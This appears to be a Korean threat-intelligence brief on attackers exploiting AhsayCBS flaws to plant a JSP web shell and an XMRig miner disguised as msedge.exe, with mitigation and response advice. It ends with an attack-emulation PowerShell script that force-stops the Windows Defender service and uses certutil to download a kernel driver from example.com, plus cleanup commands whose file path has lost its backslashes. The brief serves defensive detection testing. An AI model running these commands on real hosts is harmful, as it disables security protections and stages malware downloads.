위협 행위자들이 중요 AhsayCBS 결함을 이용하여 웹 셸과 XMRig 크립토마이너를 설치

요약

위협 행위자들이 인증되지 않은 원격 코드 실행을 위해 AhsayCBS 백업 소프트웨어의 두 가지 치명적인 취약점을 악용하고 있습니다. 접근 권한을 얻은 후 공격자들은 JSP 웹쉘을 배포하고 Microsoft Edge 프로세스를 가장한 XMRig 암호화 광부를 설치합니다. 이 캠페인은 또한 Windows 작업 관리자를 모니터링하고 간섭하여 탐지를 회피하도록 설계된 AI 지원 PowerShell 스크립트도 사용합니다.

조사

Huntress는 인증 우회를 위한 CVE-2026-105133과 원격 코드 실행을 위한 CVE-2026-105134을 결합한 악용 체인을 발견했습니다. 연구원들은 수정된 NSSM 유틸리티가 msedge.exe로 이름이 변경되고 취약한 WinRing0x64.sys 커널 드라이버가 암호화 광부에게 저수준 하드웨어 액세스를 제공하는 데 사용되는 것을 관찰했습니다. 사후 악용 활동은 또한 MicrosoftEdgeUpdateSvc라는 악성 Windows 서비스를 생성하는 것을 포함했습니다.

완화

AhsayCBS 버전 10.3.4 이하를 실행하는 조직은 관리 인터페이스에 대한 접근을 신뢰할 수 있는 IP 주소나 VPN 연결로 제한해야 합니다. 보안 업데이트는 공급업체가 출시하는 대로 즉시 적용해야 합니다. 관리자는 또한 AhsayCBS 서비스 실행 파일에서 시작된 의심스러운 하위 프로세스를 모니터링해야 합니다.

대응

침해 지표가 감지되면 조직은 잠재적인 2차 백도어를 제거하기 위해 신뢰할 수 있는 백업에서 호스트 전체를 재이미징해야 합니다. 승인되지 않은 Windows 서비스와 Temp 디렉토리에 저장된 의심스러운 파일을 조사하세요. 알려진 암호화폐 채굴 풀이나 알리바바 클라우드 OSS 호스팅 인프라와의 연결을 위해 네트워크 텔레메트리를 검토하세요.

시뮬레이션 실행

• 공격 서사 및 명령: 적은 AhsayCBS 서비스를 성공적으로 악용했습니다. 지속성을 유지하고 암호화 광부를 배포하기 위해, 그들은 먼저 명령 셸을 다음에서 생성합니다 cbssvcX64.exe 프로세스. 탐지 회피를 위해, 그들은 다음 이름의 프로세스를 시작합니다 msedge.exe 인수를 사용하여 --daemonized 합법적인 백그라운드 브라우저 프로세스처럼 보이게 만듭니다. 그런 다음 PowerShell을 사용하여 보안 서비스를 중지합니다(스크립트 블록을 통해 시뮬레이션됨). 마지막으로, 그들은 certutil.exe 를 다운로드하기 위해 사용합니다 WinRing0x64.sys는 그들의 마이닝 페이로드를 위한 저수준 시스템 액세스를 용이하게 하기 위해 사용되는 드라이버입니다.

• 회귀 테스트 스크립트:

  # AhsayCBS 악용 후 스크립트 시뮬레이션
  # 참고: 이 스크립트는 프로세스 계층 구조 및 명령줄을 모방하여 동작을 시뮬레이션합니다.
  
  # 1. AhsayCBS가 cmd.exe를 시작하는 것을 시뮬레이션 (실제 로그에서 특정 프로세스 상속 계층 필요)
  # 시뮬레이션을 위해 자식 프로세스 접근 방식을 사용합니다.
  $cbsProcess = Start-Process "cmd.exe" -ArgumentList "/c echo AhsayCBS Simulation" -PassThru
  
  # 2. 허위 Edge 데몬화 프로세스 시뮬레이션
  Start-Process "msedge.exe" -ArgumentList "--daemonized"
  
  # 3. 악성 PowerShell 스크립트 블록 시뮬레이션
  $maliciousScript = {
      Write-Host "Attempting to disable defenses..."
      Stop-Service -Name "WinDefend" -Force
      # 작업 관리자와의 상호작용 시뮬레이션
      $taskManager = "작업 관리자"
  }
  Invoke-Command -ScriptBlock $maliciousScript
  
  # 4. Certutil 드라이버 다운로드 시뮬레이션
  Start-Process "certutil.exe" -ArgumentList "-urlcache -split -f https://example.com/WinRing0x64.sys"

• 정리 명령:

  # 정리: 시뮬레이션된 프로세스를 종료하고 다운로드한 모든 아티팩트를 제거합니다.
  Stop-Process -Name "msedge" -ErrorAction SilentlyContinue
  Stop-Process -Name "cmd" -ErrorAction SilentlyContinue
  Remove-Item -Path "C:Users*DownloadsWinRing0x64.sys" -ErrorAction SilentlyContinue